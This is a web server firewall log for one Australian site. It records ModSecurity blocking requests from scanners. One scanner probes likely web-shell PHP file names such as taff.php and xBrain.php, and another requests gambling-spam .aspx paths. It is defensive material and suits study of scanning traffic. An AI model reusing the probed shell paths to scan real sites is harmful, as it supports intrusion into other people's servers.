[Mon Apr 13 05:42:15.277805 2026] [:error] [pid 33942:tid 33991] [client 4.204.201.44:62363] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/taff.php"] [unique_id "adwRtxNHe8geO_lMeFacbQAAAEw"]
[Mon Apr 13 05:42:15.731371 2026] [:error] [pid 34048:tid 34057] [client 4.204.201.44:63735] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/taff.php"] [unique_id "adwRt_SiQ_PJjlY5Ehz2wAAAAMc"]
[Mon Apr 13 05:42:16.148851 2026] [:error] [pid 33943:tid 34023] [client 4.204.201.44:60979] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "adwRuKyoXuZjocnxM5FrEQAAAJE"]
[Mon Apr 13 05:42:16.561033 2026] [:error] [pid 33943:tid 34018] [client 4.204.201.44:62463] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "adwRuKyoXuZjocnxM5FrEgAAAIw"]
[Mon Apr 13 05:42:16.978623 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:65036] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "adwRuOCGj3EEJtCwa0OR9gAAARE"]
[Mon Apr 13 05:42:17.443681 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:62429] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "adwRueCGj3EEJtCwa0OR9wAAARU"]
[Mon Apr 13 05:42:17.897742 2026] [:error] [pid 11325:tid 11327] [client 4.204.201.44:60960] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/133.php"] [unique_id "adwRueCGj3EEJtCwa0OR-wAAAQA"]
[Mon Apr 13 05:42:18.341473 2026] [:error] [pid 11325:tid 11342] [client 4.204.201.44:62403] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/133.php"] [unique_id "adwRuuCGj3EEJtCwa0OR_QAAAQ8"]
[Mon Apr 13 05:42:18.855534 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:65040] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/133.php"] [unique_id "adwRuuCGj3EEJtCwa0OSAAAAARE"]
[Mon Apr 13 05:42:19.276364 2026] [:error] [pid 11325:tid 11347] [client 4.204.201.44:61003] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/133.php"] [unique_id "adwRu-CGj3EEJtCwa0OSAgAAARQ"]
[Mon Apr 13 05:42:19.703347 2026] [:error] [pid 33943:tid 34015] [client 4.204.201.44:65048] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "adwRu6yoXuZjocnxM5FrHAAAAIk"]
[Mon Apr 13 05:42:20.196535 2026] [:error] [pid 34048:tid 34056] [client 4.204.201.44:60138] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "adwRvPSiQ_PJjlY5Ehz20QAAAMY"]
[Mon Apr 13 05:42:20.628029 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:61507] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "adwRvOCGj3EEJtCwa0OSBwAAARA"]
[Mon Apr 13 05:42:21.129877 2026] [:error] [pid 33941:tid 33975] [client 4.204.201.44:65050] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ssxsl.php"] [unique_id "adwRvW_NKERAxgG-rYM5UAAAABg"]
[Mon Apr 13 05:42:21.576070 2026] [:error] [pid 11325:tid 11340] [client 4.204.201.44:62426] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AE5VAL.php"] [unique_id "adwRveCGj3EEJtCwa0OSDAAAAQ0"]
[Mon Apr 13 05:42:22.052016 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:62422] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AE5VAL.php"] [unique_id "adwRvuCGj3EEJtCwa0OSDgAAARE"]
[Mon Apr 13 05:42:22.477185 2026] [:error] [pid 11325:tid 11351] [client 4.204.201.44:62452] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AE5VAL.php"] [unique_id "adwRvuCGj3EEJtCwa0OSEAAAARg"]
[Mon Apr 13 05:42:22.917965 2026] [:error] [pid 33942:tid 33991] [client 4.204.201.44:59747] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AE5VAL.php"] [unique_id "adwRvhNHe8geO_lMeFaccwAAAEw"]
[Mon Apr 13 05:42:29.086510 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:60122] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/afile.php"] [unique_id "adwRxeCGj3EEJtCwa0OSJAAAARE"]
[Mon Apr 13 05:42:29.799987 2026] [:error] [pid 34048:tid 34063] [client 4.204.201.44:60056] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/afile.php"] [unique_id "adwRxfSiQ_PJjlY5Ehz2_wAAAM0"]
[Mon Apr 13 05:42:30.376881 2026] [:error] [pid 11325:tid 11338] [client 4.204.201.44:61494] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/afile.php"] [unique_id "adwRxuCGj3EEJtCwa0OSJwAAAQs"]
[Mon Apr 13 05:42:30.842364 2026] [:error] [pid 33942:tid 33987] [client 4.204.201.44:62399] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/afile.php"] [unique_id "adwRxhNHe8geO_lMeFacigAAAEg"]
[Mon Apr 13 05:42:31.256590 2026] [:error] [pid 33942:tid 33982] [client 4.204.201.44:65115] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xBrain.php"] [unique_id "adwRxxNHe8geO_lMeFacjAAAAEM"]
[Mon Apr 13 05:42:31.722469 2026] [:error] [pid 33943:tid 34011] [client 4.204.201.44:61526] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xBrain.php"] [unique_id "adwRx6yoXuZjocnxM5FrKwAAAIU"]
[Mon Apr 13 05:42:32.145268 2026] [:error] [pid 33941:tid 33964] [client 4.204.201.44:60981] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xBrain.php"] [unique_id "adwRyG_NKERAxgG-rYM5XgAAAA0"]
[Mon Apr 13 05:42:32.694039 2026] [:error] [pid 33942:tid 33996] [client 4.204.201.44:62348] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xBrain.php"] [unique_id "adwRyBNHe8geO_lMeFacjgAAAFE"]
[Mon Apr 13 05:42:33.143538 2026] [:error] [pid 11325:tid 11334] [client 4.204.201.44:62427] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yunu.php"] [unique_id "adwRyeCGj3EEJtCwa0OSKQAAAQc"]
[Mon Apr 13 05:42:33.581143 2026] [:error] [pid 33941:tid 33966] [client 4.204.201.44:62430] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yunu.php"] [unique_id "adwRyW_NKERAxgG-rYM5XwAAAA8"]
[Mon Apr 13 05:42:34.001716 2026] [:error] [pid 33941:tid 33955] [client 4.204.201.44:65129] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yunu.php"] [unique_id "adwRym_NKERAxgG-rYM5YAAAAAU"]
[Mon Apr 13 05:42:34.480020 2026] [:error] [pid 33941:tid 33961] [client 4.204.201.44:61523] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yunu.php"] [unique_id "adwRym_NKERAxgG-rYM5YwAAAAo"]
[Mon Apr 13 05:42:34.903427 2026] [:error] [pid 34048:tid 34059] [client 4.204.201.44:62457] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lexy.php"] [unique_id "adwRyvSiQ_PJjlY5Ehz3CgAAAMk"]
[Mon Apr 13 05:42:35.316605 2026] [:error] [pid 33941:tid 33973] [client 4.204.201.44:63646] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lexy.php"] [unique_id "adwRy2_NKERAxgG-rYM5ZQAAABY"]
[Mon Apr 13 05:42:35.735720 2026] [:error] [pid 33943:tid 34024] [client 4.204.201.44:62408] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lexy.php"] [unique_id "adwRy6yoXuZjocnxM5FrQAAAAJI"]
[Mon Apr 13 05:42:36.159641 2026] [:error] [pid 33943:tid 34012] [client 4.204.201.44:65104] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lexy.php"] [unique_id "adwRzKyoXuZjocnxM5FrRgAAAIY"]
[Mon Apr 13 08:47:32.429773 2026] [:error] [pid 63309:tid 63316] [client 43.157.43.147:60918] [client 43.157.43.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adw9JEpIKZ10weXpf0WbgAAAAAM"]
[Mon Apr 13 09:46:21.269652 2026] [:error] [pid 63310:tid 63346] [client 51.77.216.81:52938] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adxK7XoXpRU5ztmwPjLH7wAAAEI"]
[Mon Apr 13 09:46:23.847932 2026] [:error] [pid 63406:tid 63421] [client 51.77.216.81:33960] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adxK77HZEIkQ0Zmgp5o5NAAAAMo"]
[Mon Apr 13 09:46:26.409904 2026] [:error] [pid 63309:tid 63333] [client 51.77.216.81:33962] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adxK8kpIKZ10weXpf0WsbwAAABQ"]
[Mon Apr 13 09:46:28.943916 2026] [:error] [pid 63406:tid 63423] [client 51.77.216.81:33968] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adxK9LHZEIkQ0Zmgp5o5QQAAAMw"]
[Mon Apr 13 09:46:31.795761 2026] [:error] [pid 7228:tid 7254] [client 51.77.216.81:56596] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adxK9wEnn1dQrOSHHNU3LwAAARg"]
[Mon Apr 13 09:46:34.732043 2026] [:error] [pid 63406:tid 63426] [client 51.77.216.81:56608] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adxK-rHZEIkQ0Zmgp5o5UQAAAM8"]
[Mon Apr 13 09:46:37.496105 2026] [:error] [pid 63406:tid 63430] [client 51.77.216.81:56618] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adxK_bHZEIkQ0Zmgp5o5XwAAANM"]
[Mon Apr 13 09:46:40.199193 2026] [:error] [pid 7228:tid 7250] [client 51.77.216.81:50050] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adxLAAEnn1dQrOSHHNU3NwAAARQ"]
[Mon Apr 13 09:46:42.941937 2026] [:error] [pid 63309:tid 63321] [client 51.77.216.81:50058] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adxLAkpIKZ10weXpf0WscQAAAAg"]
[Mon Apr 13 09:46:45.476943 2026] [:error] [pid 63406:tid 63434] [client 51.77.216.81:50072] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adxLBbHZEIkQ0Zmgp5o5bAAAANc"]
[Mon Apr 13 09:46:48.671966 2026] [:error] [pid 63311:tid 63387] [client 51.77.216.81:50088] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adxLCKHjrGN1MqBCVFlMbAAAAJA"]
[Mon Apr 13 09:46:51.642548 2026] [:error] [pid 63311:tid 63388] [client 51.77.216.81:58514] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adxLC6HjrGN1MqBCVFlMcgAAAJE"]
[Mon Apr 13 09:46:54.352394 2026] [:error] [pid 63310:tid 63364] [client 51.77.216.81:58518] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adxLDnoXpRU5ztmwPjLICgAAAFQ"]
[Mon Apr 13 09:46:57.519183 2026] [:error] [pid 63406:tid 63435] [client 51.77.216.81:58528] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adxLEbHZEIkQ0Zmgp5o5jQAAANg"]
[Mon Apr 13 09:47:00.116381 2026] [:error] [pid 63310:tid 63363] [client 51.77.216.81:56404] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adxLFHoXpRU5ztmwPjLIDwAAAFM"]
[Mon Apr 13 09:47:02.819442 2026] [:error] [pid 63406:tid 63412] [client 51.77.216.81:56418] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adxLFrHZEIkQ0Zmgp5o5kwAAAME"]
[Mon Apr 13 09:47:05.346065 2026] [:error] [pid 7228:tid 7250] [client 51.77.216.81:56420] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adxLGQEnn1dQrOSHHNU3fwAAARQ"]
[Mon Apr 13 09:47:07.804715 2026] [:error] [pid 63311:tid 63372] [client 51.77.216.81:56426] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adxLG6HjrGN1MqBCVFlMhwAAAIE"]
[Mon Apr 13 09:47:10.370482 2026] [:error] [pid 7228:tid 7244] [client 51.77.216.81:33284] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adxLHgEnn1dQrOSHHNU3jAAAAQ4"]
[Mon Apr 13 09:47:12.968179 2026] [:error] [pid 63309:tid 63320] [client 51.77.216.81:33298] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adxLIEpIKZ10weXpf0WsnQAAAAc"]
